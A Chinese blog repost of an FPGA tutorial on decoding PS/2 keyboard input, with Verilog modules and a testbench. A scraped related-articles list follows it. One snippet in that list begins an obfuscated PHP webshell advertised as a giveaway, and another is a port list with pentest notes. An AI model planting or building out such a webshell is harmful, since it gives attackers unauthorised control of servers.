源码系列:基于FPGA的PS2通信电路设计(附源码)
今天给大侠带来基于FPGA的PS2通信电路设计,附源码,获取源码,请在“FPGA技术江湖”公众号内回复“PS2源码”,可获取源码文件。话不多说,上货。
设计背景
PS2接口是一种PC兼容型电脑系统上的接口,可以用来链接键盘及鼠标。PS2的命名来自于1987年时IBM所推出的个人电脑:PS/2系列。PS2的键盘和鼠标在电气特性上十分类似,主要差别在于键盘接口需要双向的沟通。PS2接口不支持热插拔,使用时需要关机插上,目前已逐渐被USB所替代,只有少部分台式机仍然提供PS2接口。
设计原理
PS2的接口如下图所示:
上图中,1是数据线DATA;2是预留N/C;3是GND;4是VCC(+5V);5是时钟信号线CLK;6是预留N/C。
PS2原理电路图如下:
PS2协议总共由两根线组成,从电路原理图中也可以看出,需要控制的只有PS2_CLK和PS2_SDA,即一根时钟线和一根数据线。PS2设备中的时钟和数据都是集电极开路的,平时都是高电平。本设计将采用PS2接口的键盘称为从机,将控制和解码PS2协议的一方称为主机(FPGA)。PS2协议的时钟线始终由从机(即键盘)产生的,PS2协议发送一个字节数据共有11位。时序如下图所示:
1Bit起始位,总是0;8Bit数据位,低位在前;1Bit校验位,奇校验;1Bit停止位,总是1。
从机(键盘)按照这个时序发送数据,主机(FPGA)只需要实现该协议的解码,即可将其中的8Bit数据位提取出来。根据时序图可以看出,数据在PS2时钟的下降沿是保持稳定的,主机只需在检测到PS2时钟出现下降沿时,去读取数据线上的电平,就可得到正确的数据。
通过上述的内容,已经知道了PS2从机到主机的通信协议,接下来就需要知道从机发送过来的每个字节代表什么?这时就要对照键盘编码表进行查看。键盘上一个按键由按下到释放时,键盘是按照如下的规定向主机发送数据的:
只要一个按键被按下,这个键的通码(MAKE)就会被发送到主机,按键一被释放,断码(BREAK)也会被发送,如果按键被按下不释放的话,键盘会以一定的频率发送那个按键的通码。每个按键都有自己唯一的通码和断码,从而组成键盘编码表,表上的码值为16进制:
例如,如果键盘上‘A’键被按下时,键盘就会向主机发送‘A’键对应的通码‘1C’,直到按键被释放。在按键被释放后,键盘将会向主机发送‘A’键的断码,即首先发送‘F0’,然后下一个字节发送‘1C’。通过观察键盘编码表,可以发现按键的通码与断码存在一定的联系,多数断码的第一个字节是‘F0’,第二个字节则是这个键的通码。
如果按下键盘上的扩展按键时,如‘END’,当‘END’键被按下后,键盘会首先向主机发送‘E0’,然后发送‘F0’,最后再发送‘69’。根据上述的分析可知,在主机(FPGA)解码一次数据后,还需要对这个数据进行分析判断,判断该数据是否为断码标志‘F0’以及扩展码标志‘E0’。
设计架构图
本设计将实现在PS2键盘上按下26个字母任一个,在数码管上显示其对应的ASCII码。架构图如下:
ps2scan模块是根据PS2的时序协议,将键盘的按键值译成一个8位的数据(out_data)输出;ASCII模块,根据ASCII表,将数据与字母一一对应;seg_num模块将相应的数据在数码管上显示。
设计代码
top顶层模块代码:
module top (clk, rst_n, ps2_sclk, ps2_sda, sel, seg);
//外部接口
input clk; //系统时钟50MHz
input rst_n; //低电平复位
input ps2_sclk; //ps2时钟
input ps2_sda; //ps2数据
output [2:0] sel; //数码管位选
output [7:0] seg; //数码管段选
wire[7:0] out_data, tx_out;
/*****键盘扫描模块*****/
ps2scan ps2scan_inst(
.clk(clk),
.rst_n(rst_n),
.ps2_sclk(ps2_sclk),
.ps2_sda(ps2_sda),
.out_data(out_data)
);
/*****数据转ASCII码模块*****/
ASCII ASCII_inst(
.out_data(out_data),
.tx_out(tx_out)
);
/*****数码管显示模块*****/
seg_num seg_num_inst(
.num(tx_out),
.clk(clk),
.rst_n(rst_n),
.sel(sel),
.seg(seg)
);
endmodule
ps2scan设计模块代码:
module ps2scan (clk, rst_n, ps2_sclk, ps2_sda, out_data);
//端口信号:模块的输入输出接口
input clk;//系统时钟
input rst_n;//低电平复位
input ps2_sclk;//ps2时钟信号(ps2设备自动产生,大约10KHz左右)
input ps2_sda;//ps2数据信号
output reg [7:0] out_data; //键值数据(采集ps2的一帧信号中间的8位有效位)
//在发送时序中,数据在ps2_sclk的下降沿采集信号,以下为检测下降沿
reg in1,in2;
wire en;
always @ (posedge clk or negedge rst_n)
begin
if(!rst_n)
begin
in1 <= 1'b0;
in2 <= 1'b0;
end
else
begin
in1 <= ps2_sclk;
in2 <= in1;
end
end
assign en = (~in1) & in2; //当出现ps2_sclk下降沿后拉高一个时钟,以进行数据的采集
//采集ps2的一帧信号中间的8位有效位:每检测一个下降沿算一位数据位,在中间8位采集有效数据
reg[7:0] temp_data;
reg[3:0] num;
always @ (posedge clk or negedge rst_n)
begin
if(!rst_n)
begin
num <= 4'd0;
temp_data <= 8'd0;
end
else if(en)
case (num)
4'd0: num <= num+1'b1; //开始位
4'd1: begin
num <= num+1'b1;
temp_data[0] <= ps2_sda; //bit0
end
4'd2: begin
num <= num+1'b1;
temp_data[1] <= ps2_sda; //bit1
end
4'd3: begin
num <= num+1'b1;
temp_data[2] <= ps2_sda; //bit2
end
4'd4: begin
num <= num+1'b1;
temp_data[3] <= ps2_sda; //bit3
end
4'd5: begin
num <= num+1'b1;
temp_data[4] <= ps2_sda; //bit4
end
4'd6: begin
num <= num+1'b1;
temp_data[5] <= ps2_sda; //bit5
end
4'd7: begin
num <= num+1'b1;
temp_data[6] <= ps2_sda; //bit6
end
4'd8: begin
num <= num+1'b1;
temp_data[7] <= ps2_sda; //bit7
end
4'd9: num <= num+1'b1; //结束位
4'd10:num <= 4'd0;
default: ;
endcase
end
//判断是否有键按下:根据通码、断码的特性判断
reg key;
always @ (posedge clk or negedge rst_n)
begin
if(!rst_n)
key <= 1'b0;
else if(num==4'd10)
begin
if(temp_data == 8'hf0)
key <= 1'b1;
else
begin
if(!key)
out_data <= temp_data;
else
key <= 1'b0;
end
end
end
endmodule
ASCII模块代码:
module ASCII( out_data, tx_out);
//端口信号:模块的输入输出接口
input [7:0] out_data; //键盘的扫描键值
output reg [7:0] tx_out;//通过ASCII码转换之后的值
//通过查找表的方式,对照ASCII码将键值转换为二进制数值
always@(*)
case (out_data)
8'h1c: tx_out <= 8'h41; //A
8'h32: tx_out <= 8'h42; //B
8'h21: tx_out <= 8'h43; //C
8'h23: tx_out <= 8'h44; //D
8'h24: tx_out <= 8'h45; //E
8'h2b: tx_out <= 8'h46; //F
8'h34: tx_out <= 8'h47; //G
8'h33: tx_out <= 8'h48; //H
8'h43: tx_out <= 8'h49; //I
8'h3b: tx_out <= 8'h4a; //J
8'h42: tx_out <= 8'h4b; //K
8'h4b: tx_out <= 8'h4c; //L
8'h3a: tx_out <= 8'h4d; //M
8'h31: tx_out <= 8'h4e; //N
8'h44: tx_out <= 8'h4f; //O
8'h4d: tx_out <= 8'h50; //P
8'h15: tx_out <= 8'h51; //Q
8'h2d: tx_out <= 8'h52; //R
8'h1b: tx_out <= 8'h53; //S
8'h2c: tx_out <= 8'h54; //T
8'h3c: tx_out <= 8'h55; //U
8'h2a: tx_out <= 8'h56; //V
8'h1d: tx_out <= 8'h57; //W
8'h22: tx_out <= 8'h58; //X
8'h35: tx_out <= 8'h59; //Y
8'h1a: tx_out <= 8'h5a; //Z
default: tx_out <= 8'h00;
endcase
endmodule
seg_num模块代码:
module seg_num (clk, rst_n, num, sel, seg);
//端口信号:模块的输入输出接口
input clk; //系统时钟50MHz
input rst_n; //低电平复位
input [7:0] num; //输入的数据
output reg [2:0] sel; //数码管位选
output reg [7:0] seg; //数码管段选
//计数分频,通过选择cnt的相应位的变化来大致分频
reg [23:0] cnt;
wire clk_r;
always@(posedge clk or negedge rst_n)
begin
if(!rst_n)
cnt <= 24'd0;
else
cnt <= cnt + 1'b1;
end
assign clk_r = cnt[15] ; //通过计数cnt的第10位来分频计数,2^10/50M
//通过查找表的方式将数据与相应的数码管显示一一对应
reg [3:0] data;
always@(*)
case(data)
4'h0: seg <= 8'hC0; //8'b1100_0000
4'h1: seg <= 8'hF9; //8'b1111_1001
4'h2: seg <= 8'hA4; //8'b1010_0100
4'h3: seg <= 8'hB0; //8'b1011_0000
4'h4: seg <= 8'h99; //8'b1001_1001
4'h5: seg <= 8'h92; //8'b1001_0010
4'h6: seg <= 8'h82; //8'b1000_0010
4'h7: seg <= 8'hF8; //8'b1111_1000
4'h8: seg <= 8'h80; //8'b1000_0000
4'h9: seg <= 8'h90; //8'b1001_0000
4'hA: seg <= 8'h88;
4'hB: seg <= 8'h83;
4'hC: seg <= 8'hC6;
4'hD: seg <= 8'hA1;
4'hE: seg <= 8'h86;
4'hF: seg <= 8'h8E;
default:seg <= 8'hFF; //8'b1111_1111
endcase
//通过查找表的方式,在不同位选下,显示数据的相应位
always@(*)
begin
case(sel)
000: data <= num[7:4];
001: data <= num[3:0];
default:;
endcase
end
always@(posedge clk_r or negedge rst_n)
begin
if(!rst_n)
sel <= 3'd0;
else if(sel == 3'd1)
sel <= 3'd0;
else
sel <= sel + 1'b1;
end
endmodule
仿真测试
仿真测试模块top_tb代码如下:
`timescale 1ns/1ns
module top_tb;
reg clk;
reg rst_n;
reg ps2_sda;
reg ps2_sclk;
wire [7:0] seg;
wire [2:0] sel;
top top_dut(
.clk(clk),
.rst_n(rst_n),
.ps2_sclk(ps2_sclk),
.ps2_sda(ps2_sda),
.sel(sel),
.seg(seg)
);
initial begin
clk = 1;
rst_n = 0;
ps2_sda = 1;
ps2_sclk = 1;
#200;
rst_n = 1;
Key_Event(8'h1A); /* Z */
#40000;
Key_Event(8'h22); /* X */
#80000;
Key_Event(8'h44); /* O */
#13200;
Key_Event(8'h4D); /* P */
#25600;
Key_Event(8'h24); /* E */
#12300;
Key_Event(8'h31); /* N */
#2000000;
$stop;
end
/*---------生成工作时钟-----------*/
always #10 clk = ~clk;
/*----任务:以PS2协议发送一个字节的数据-----*/
task Send_data;
input [7:0]data;
begin
ps2_sda = 0; /*发送起始位*/
#20000;ps2_sclk = 0;
#40000;ps2_sclk = 1;
#20000;ps2_sda = data[0];/*发送第0位*/
#20000;ps2_sclk = 0;
#40000;ps2_sclk = 1;
#20000;ps2_sda = data[1];/*发送第1位*/
#20000;ps2_sclk = 0;
#40000;ps2_sclk = 1;
#20000;ps2_sda = data[2];/*发送第2位*/
#20000;ps2_sclk = 0;
#40000;ps2_sclk = 1;
#20000;ps2_sda = data[3];/*发送第3位*/
#20000;ps2_sclk = 0;
#40000;ps2_sclk = 1;
#20000;ps2_sda = data[4];/*发送第4位*/
#20000;ps2_sclk = 0;
#40000;ps2_sclk = 1;
#20000;ps2_sda = data[5];/*发送第5位*/
#20000;ps2_sclk = 0;
#40000;ps2_sclk = 1;
#20000;ps2_sda = data[6];/*发送第6位*/
#20000;ps2_sclk = 0;
#40000;ps2_sclk = 1;
#20000;ps2_sda = data[7];/*发送第7位*/
#20000;ps2_sclk = 0;
#40000;ps2_sclk = 1;
#20000;ps2_sda = 0;/*暂时忽略校验位*/
#20000;ps2_sclk = 0;
#40000;ps2_sclk = 1;
#20000;ps2_sda = 1;/*停止位*/
#20000;ps2_sclk = 0;
#40000;ps2_sclk = 1;
end
endtask
/*-----任务:模拟按下按键的操作------*/
task press_key;
input [7:0]Key_Number;
begin
Send_data(Key_Number);
#50000;
end
endtask
/*-----任务:模拟释放按键的操作------*/
task release_key;
input [7:0]Key_Number;
begin
Send_data(8'hF0);
#50000;
Send_data(Key_Number);
#50000;
end
endtask
/*----任务:模拟一次短码的按下和释放操作-----*/
task Key_Event;
input [7:0]Key_Number;
begin
press_key(Key_Number);
#30000;
release_key(Key_Number);
end
endtask
endmodule
仿真图如下:
测试文件中发送的‘Z’、‘X’、‘O’、‘P’、‘E’、‘N’等字母,在仿真图中显示,通过与ASCII码表对应,得知是正确的。分配引脚,下板后,数码管也得到了与之对应的ASCII码值。
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
相关文章
- 附合导线近似平差计算
开发了一个附合导线近似平差计算的小程序,写的乱七八糟,暂时就这样,等有空了慢慢优化,现在就是V1.0版本,记录一下。附合导线近似平差计算...
2024/4/24 11:17:21 - SQLServer 递归查询
一、递归查询 1.结构: 递归CTE最少包含两个查询(也被称为成员)。第一个查询为定点成员,定点成员只是一个返回有效表的查询,用于递归的基础或定位点。第二个查询被称为递归成员,使该查询称为递归成员的是对CTE名称的递归引用是触发。在逻辑上可以将CTE名称的内部应用理解为前…...
2024/4/24 11:17:21 - Kotlin上传相册图片到服务器
打开图库拿到图片/*** 相册*/private fun takeGallery() {val intent = Intent(Intent.ACTION_PICK, MediaStore.Images.Media.EXTERNAL_CONTENT_URI)intent.type = "image/*"startActivityForResult(intent, REQUEST_CODE_PICK_PHOTO)}获取图片的路径REQUEST_CODE_P…...
2024/4/24 11:17:22 - 深度学习中的评价标准
1.true positive(tp) :被正确识别的 想要识别成的物体狗(比如说想测试的是狗)false positive (fp) : 被错误的识别为 想要成为的物体狗以上这两个就是通过阈值识别出来的precision = tp/(tp+fp)true negative(tn): 正确的没有被识别为狗false negetive(fn): 错…...
2024/4/15 5:13:10 - Golang 并发机制
Golang 并发有人把Go比作21世纪的C语言,第一是因为Go语言设计简单,第二,21世纪最重要的就是并行程序设计,而Go从语言层面就支持了并行。goroutinegoroutine是Go并行设计的核心。goroutine说到底其实就是协程,但是它比线程更小,十几个goroutine可能体现在底层就是五六个线…...
2024/4/15 5:13:09 - 前端vue + websocket 的坑
vue + websocket 的坑 记录一下在开发过程中的坑,不封装,没有插件,不使用vuex,纯小白写法(我就是小白本人) 本内容分为自己搭的测试环境和后端对接两个部分 因为一些原因,要保持与服务端的同步,然后使用了websocket,不说废话,上代码。(其实我觉得每1秒请求一次接口也…...
2024/4/15 5:13:07 - 【记录一下】linux 安装maven 私服
1、 maven 下载,或者官方下 https://maven.apache.org/download.cgi# 链接:https://pan.baidu.com/s/1uI4Wh7NVTXj6rK66ZAP-nQ 提取码:aovs 复制这段内容后打开百度网盘手机App,操作更方便哦 2、解压缩maven’ tar -zxvf apache-maven-3.5.2-bin.tar.gz 3、我这里将maven解…...
2024/4/15 5:13:06 - 作业4:第三章课后题
...
2024/4/24 11:17:18 - 中文版vnc连接工具,中文版vnc连接工具那个好?如何连接?
vnc连接工具简介 iis7远程桌面管理软件,是一款绿色小巧,功能实用的中文版vnc连接工具软件,其界面简洁,操作方便,它可以同时远程查看多台主机,并且多台服务器间可以自由切换,支持分屏,群控操作。非常适合机房管理、站长、运维工作、程序员使用。 VNC远程控制 1. 下载IIS…...
2024/4/24 11:17:18 - UE4 针对Oculus应用的打包及安装(UE4.24 和Oculus quest为例)
UE4 针对Oculus应用的打包及安装(UE4.24为例)一、安卓常规配置二、Plugins配置三、Oculus的环境配置四、安装方式发现的问题 一、安卓常规配置 Project: Create compressed Cooked packages √ Supported Platforms :all √ Optimize project settings for : Mobile Scala…...
2024/4/24 11:17:16 - 一些端口所对应的服务
21 ftp 22 SSH 23 Telnet 25 SMTP 53 DNS 69 TFTP 80 web 80-89 web 110 POP3 135 RPC 139 NETBIOS 143 IMAP 161 SNMP 389 LDAP 443 SSL心脏滴血以及一些web漏洞测试 445 SMB 512,513,514 Rexec 873 Rsync未授权 1025,111 NFS 1080 socks 1158 ORACLE EMC…...
2024/4/24 11:17:15 - css进度条
1.定位left来实现 2.定位width来实现 3 进度背景可以用 background-image: linear-gradient(60deg, transparent 0rem, transparent 0.8rem, #4dafe2 0.8rem, #4dafe2 1.6rem, transparent 1.6rem, transparent 2.4rem, #4dafe2 2.4rem);修饰<!DOCTYPE html> <html l…...
2024/4/24 11:17:14 - 开源知识分享/解决Github下载缓慢/知识图谱网站
开源知识分享/解决Github下载缓慢/知识图谱网站 原创 大学生的中转站 4月22日 ❝ 「欢迎来到【大学生的中转站】!」 ❞ 「本文提到的网页链接均在文末」 Github Github上有许多不错的开源书籍,更多具体的分类与链接可转移如下的知乎问题:GitHub 上有哪些值得推荐的开源电…...
2024/4/24 11:17:16 - ActiveMQ消息的可靠性
我们在ActiveMQ消息持久化订阅中,介绍了对Topic模式下的消息进行持久化订阅,使其在暂无消费者消费或ActiveMQ服务重启的情况下,不会导致消息的丢失,这里其实就是保证了一定程度的消息可靠性。那么还会在其他地方发送消息不可靠的情况么,首先我们从消息的生产及消费的流程中…...
2024/4/24 11:17:14 - 华为模拟器eNSP端口映射配置实验
实验要求: 把R3上的23号端口映射到外网GE 1/0/1端口上,R2使用telnet服务登录R3命令行配置在DMZ区的R3上需要先配置一条缺省路由,然后再添加一个Telnet登录的验证密码DMZ-R3: sys un in en ip route-static 0.0.0.0 0 123.4.5.1 dis ip routing-table user-interface vty 0 4…...
2024/4/26 5:09:28 - LaTeX:从入门到入土
前言 这是 LaTeX:从入门到入土系列的第1篇文章 我开始使用 LaTeX 是上个学期的事情了,当时因为想要写一份好看的报告,牺牲了一个星期的午觉时间学习了 LaTeX,而后被它所编译出文档的颜值所折服,并喜欢上了这个东西。 大部分人可能在做数学建模的比赛的时候听说过 LaTeX,而…...
2024/4/24 11:17:12 - CentoOS7中docker环境以及容器环境的搭建
文章目录1. 安装docker2. docker安装mysql3. docker安装redis 1. 安装docker 首先什么是Docker呢?Docker是一种虚拟化容器技术。Docker基于镜像,可以秒级启动各种容器。每一种容器都是一个完整的运行环境,容器之间互相隔离。更多具体细节及其他系统上的安装可以参考Docker的…...
2024/4/24 11:17:10 - 一枚php大马放送~
<?php $password=admin;//pass $shellname=shadowwolf专用大马;//my_name $myurl=https://blog.csdn.net/qq_25017571;//my_url $____ = "fmIEEg4bXwgWDx0ODQUbEl8NDRUWXlU7CxIUAAgDW09WKFxCExcWPhU7B1IiRDggQ1IXESZVNjM9Hw4HAlwSNQ45ISQLAQcpIA0uByIbOCISEjAFPjYEIQg…...
2024/4/24 11:17:09 - The first set of horror films
The first set of horror films1、沉默的羔羊(电影)2、化身博士(1941年)(电影)3、凶兆(电影)4、大白鲨(电影)5、变蝇人(电影)6、罗斯玛丽的婴儿(电影)7、第六感(电影)8、断头谷(电影)9、异形(电影)10、美国狼人在伦敦(电影)招魂 1、沉默的羔羊(电影)《沉…...
2024/4/24 11:17:08 - 华大HC32L110 / HC32F003 / HC32F005 系列硬件开发指南
适用对象系列 产品型号HC32L110 HC32L110C6UA / HC32L110C6PA / HC32L110C4UA / HC32L110C4PA /HC32L110B6PA / HC32L110B4PA / HC32L110B6YAHC32F003 HC32F003C4UA / HC32F003C4PA / HC32F003C4PBHC32F005 HC32F005C6UA / HC32F005C6PA / HC32F005D6UA / HC32F005C6PB华大HC3…...
2024/4/15 5:13:18
最新文章
- Weblogic JMS
简介 全称:WebLogic Server的Java Messaging Service(JMS) WebLogic JMS 是与 WebLogic Server 平台紧密集成的企业级消息传递系统。 Java Message Service (JMS) API 是一种消息传递标准,允许基于 Java Platform Enterprise Edition (Java EE) 的应用程序组件创建、发送、…...
2024/4/26 23:24:01 - 梯度消失和梯度爆炸的一些处理方法
在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言,在此感激不尽。 权重和梯度的更新公式如下: w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...
2024/3/20 10:50:27 - 设计模式(017)行为型之责任链模式
责任链模式,它允许你将请求沿着处理者链传递,直到有一个处理者能够处理该请求为止。在责任链模式中,有三个核心角色:请求者(Client)、处理者(Handler)、以及具体处理者(C…...
2024/4/19 7:41:19 - 深入浅出 -- 系统架构之微服务中Nacos的部署
前面我们提到过,在微服务架构中,Nacos注册中心属于核心组件,通常我们会采用高性能独立服务器进行部署,下面我们一起来看看Nacos部署过程: 1、环境准备 因为Nacos是支持windows和Linux系统的,且服务器操作…...
2024/4/23 6:26:15 - 【JavaScript】如何在npm中切换源以及使用指定源安装依赖
忘不掉的是什么我也不知道 想不起当年模样 看也看不到 去也去不了的地方 也许那老街的腔调是属于我的忧伤 嘴角那点微笑越来越勉强 忘不掉的是什么我也不知道 放不下熟悉片段 回头望一眼 已经很多年的时间 透过手指间看着天 我又回到那老街 靠在你们身边渐行渐远 …...
2024/4/23 6:22:01 - 【外汇早评】美通胀数据走低,美元调整
原标题:【外汇早评】美通胀数据走低,美元调整昨日美国方面公布了新一期的核心PCE物价指数数据,同比增长1.6%,低于前值和预期值的1.7%,距离美联储的通胀目标2%继续走低,通胀压力较低,且此前美国一季度GDP初值中的消费部分下滑明显,因此市场对美联储后续更可能降息的政策…...
2024/4/26 18:09:39 - 【原油贵金属周评】原油多头拥挤,价格调整
原标题:【原油贵金属周评】原油多头拥挤,价格调整本周国际劳动节,我们喜迎四天假期,但是整个金融市场确实流动性充沛,大事频发,各个商品波动剧烈。美国方面,在本周四凌晨公布5月份的利率决议和新闻发布会,维持联邦基金利率在2.25%-2.50%不变,符合市场预期。同时美联储…...
2024/4/26 20:12:18 - 【外汇周评】靓丽非农不及疲软通胀影响
原标题:【外汇周评】靓丽非农不及疲软通胀影响在刚结束的周五,美国方面公布了新一期的非农就业数据,大幅好于前值和预期,新增就业重新回到20万以上。具体数据: 美国4月非农就业人口变动 26.3万人,预期 19万人,前值 19.6万人。 美国4月失业率 3.6%,预期 3.8%,前值 3…...
2024/4/26 23:05:52 - 【原油贵金属早评】库存继续增加,油价收跌
原标题:【原油贵金属早评】库存继续增加,油价收跌周三清晨公布美国当周API原油库存数据,上周原油库存增加281万桶至4.692亿桶,增幅超过预期的74.4万桶。且有消息人士称,沙特阿美据悉将于6月向亚洲炼油厂额外出售更多原油,印度炼油商预计将每日获得至多20万桶的额外原油供…...
2024/4/25 18:39:23 - 【外汇早评】日本央行会议纪要不改日元强势
原标题:【外汇早评】日本央行会议纪要不改日元强势近两日日元大幅走强与近期市场风险情绪上升,避险资金回流日元有关,也与前一段时间的美日贸易谈判给日本缓冲期,日本方面对汇率问题也避免继续贬值有关。虽然今日早间日本央行公布的利率会议纪要仍然是支持宽松政策,但这符…...
2024/4/25 18:39:22 - 【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响
原标题:【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响近日伊朗局势升温,导致市场担忧影响原油供给,油价试图反弹。此时OPEC表态稳定市场。据消息人士透露,沙特6月石油出口料将低于700万桶/日,沙特已经收到石油消费国提出的6月份扩大出口的“适度要求”,沙特将满…...
2024/4/25 18:39:22 - 【外汇早评】美欲与伊朗重谈协议
原标题:【外汇早评】美欲与伊朗重谈协议美国对伊朗的制裁遭到伊朗的抗议,昨日伊朗方面提出将部分退出伊核协议。而此行为又遭到欧洲方面对伊朗的谴责和警告,伊朗外长昨日回应称,欧洲国家履行它们的义务,伊核协议就能保证存续。据传闻伊朗的导弹已经对准了以色列和美国的航…...
2024/4/26 21:56:58 - 【原油贵金属早评】波动率飙升,市场情绪动荡
原标题:【原油贵金属早评】波动率飙升,市场情绪动荡因中美贸易谈判不安情绪影响,金融市场各资产品种出现明显的波动。随着美国与中方开启第十一轮谈判之际,美国按照既定计划向中国2000亿商品征收25%的关税,市场情绪有所平复,已经开始接受这一事实。虽然波动率-恐慌指数VI…...
2024/4/25 16:48:44 - 【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试
原标题:【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试美国和伊朗的局势继续升温,市场风险情绪上升,避险黄金有向上突破阻力的迹象。原油方面稍显平稳,近期美国和OPEC加大供给及市场需求回落的影响,伊朗局势并未推升油价走强。近期中美贸易谈判摩擦再度升级,美国对中…...
2024/4/26 16:00:35 - 【原油贵金属早评】市场情绪继续恶化,黄金上破
原标题:【原油贵金属早评】市场情绪继续恶化,黄金上破周初中国针对于美国加征关税的进行的反制措施引发市场情绪的大幅波动,人民币汇率出现大幅的贬值动能,金融市场受到非常明显的冲击。尤其是波动率起来之后,对于股市的表现尤其不安。隔夜美国股市出现明显的下行走势,这…...
2024/4/25 18:39:16 - 【外汇早评】美伊僵持,风险情绪继续升温
原标题:【外汇早评】美伊僵持,风险情绪继续升温昨日沙特两艘油轮再次发生爆炸事件,导致波斯湾局势进一步恶化,市场担忧美伊可能会出现摩擦生火,避险品种获得支撑,黄金和日元大幅走强。美指受中美贸易问题影响而在低位震荡。继5月12日,四艘商船在阿联酋领海附近的阿曼湾、…...
2024/4/25 18:39:16 - 【原油贵金属早评】贸易冲突导致需求低迷,油价弱势
原标题:【原油贵金属早评】贸易冲突导致需求低迷,油价弱势近日虽然伊朗局势升温,中东地区几起油船被袭击事件影响,但油价并未走高,而是出于调整结构中。由于市场预期局势失控的可能性较低,而中美贸易问题导致的全球经济衰退风险更大,需求会持续低迷,因此油价调整压力较…...
2024/4/26 19:03:37 - 氧生福地 玩美北湖(上)——为时光守候两千年
原标题:氧生福地 玩美北湖(上)——为时光守候两千年一次说走就走的旅行,只有一张高铁票的距离~ 所以,湖南郴州,我来了~ 从广州南站出发,一个半小时就到达郴州西站了。在动车上,同时改票的南风兄和我居然被分到了一个车厢,所以一路非常愉快地聊了过来。 挺好,最起…...
2024/4/26 22:01:59 - 氧生福地 玩美北湖(中)——永春梯田里的美与鲜
原标题:氧生福地 玩美北湖(中)——永春梯田里的美与鲜一觉醒来,因为大家太爱“美”照,在柳毅山庄去寻找龙女而错过了早餐时间。近十点,向导坏坏还是带着饥肠辘辘的我们去吃郴州最富有盛名的“鱼头粉”。说这是“十二分推荐”,到郴州必吃的美食之一。 哇塞!那个味美香甜…...
2024/4/25 18:39:14 - 氧生福地 玩美北湖(下)——奔跑吧骚年!
原标题:氧生福地 玩美北湖(下)——奔跑吧骚年!让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 啊……啊……啊 两…...
2024/4/26 23:04:58 - 扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!
原标题:扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!扒开伪装医用面膜,翻六倍价格宰客!当行业里的某一品项火爆了,就会有很多商家蹭热度,装逼忽悠,最近火爆朋友圈的医用面膜,被沾上了污点,到底怎么回事呢? “比普通面膜安全、效果好!痘痘、痘印、敏感肌都能用…...
2024/4/25 2:10:52 - 「发现」铁皮石斛仙草之神奇功效用于医用面膜
原标题:「发现」铁皮石斛仙草之神奇功效用于医用面膜丽彦妆铁皮石斛医用面膜|石斛多糖无菌修护补水贴19大优势: 1、铁皮石斛:自唐宋以来,一直被列为皇室贡品,铁皮石斛生于海拔1600米的悬崖峭壁之上,繁殖力差,产量极低,所以古代仅供皇室、贵族享用 2、铁皮石斛自古民间…...
2024/4/25 18:39:00 - 丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者
原标题:丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者【公司简介】 广州华彬企业隶属香港华彬集团有限公司,专注美业21年,其旗下品牌: 「圣茵美」私密荷尔蒙抗衰,产后修复 「圣仪轩」私密荷尔蒙抗衰,产后修复 「花茵莳」私密荷尔蒙抗衰,产后修复 「丽彦妆」专注医学护…...
2024/4/26 19:46:12 - 广州械字号面膜生产厂家OEM/ODM4项须知!
原标题:广州械字号面膜生产厂家OEM/ODM4项须知!广州械字号面膜生产厂家OEM/ODM流程及注意事项解读: 械字号医用面膜,其实在我国并没有严格的定义,通常我们说的医美面膜指的应该是一种「医用敷料」,也就是说,医用面膜其实算作「医疗器械」的一种,又称「医用冷敷贴」。 …...
2024/4/25 18:38:58 - 械字号医用眼膜缓解用眼过度到底有无作用?
原标题:械字号医用眼膜缓解用眼过度到底有无作用?医用眼膜/械字号眼膜/医用冷敷眼贴 凝胶层为亲水高分子材料,含70%以上的水分。体表皮肤温度传导到本产品的凝胶层,热量被凝胶内水分子吸收,通过水分的蒸发带走大量的热量,可迅速地降低体表皮肤局部温度,减轻局部皮肤的灼…...
2024/4/25 18:38:57 - 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...
解析如下:1、长按电脑电源键直至关机,然后再按一次电源健重启电脑,按F8健进入安全模式2、安全模式下进入Windows系统桌面后,按住“winR”打开运行窗口,输入“services.msc”打开服务设置3、在服务界面,选中…...
2022/11/19 21:17:18 - 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。
%读入6幅图像(每一幅图像的大小是564*564) f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...
2022/11/19 21:17:16 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...
win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面,在等待界面中我们需要等待操作结束才能关机,虽然这比较麻烦,但是对系统进行配置和升级…...
2022/11/19 21:17:15 - 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...
有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows,请勿关闭计算机”的提示,要过很久才能进入系统,有的用户甚至几个小时也无法进入,下面就教大家这个问题的解决方法。第一种方法:我们首先在左下角的“开始…...
2022/11/19 21:17:14 - win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...
置信有很多用户都跟小编一样遇到过这样的问题,电脑时发现开机屏幕显现“正在配置Windows Update,请勿关机”(如下图所示),而且还需求等大约5分钟才干进入系统。这是怎样回事呢?一切都是正常操作的,为什么开时机呈现“正…...
2022/11/19 21:17:13 - 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...
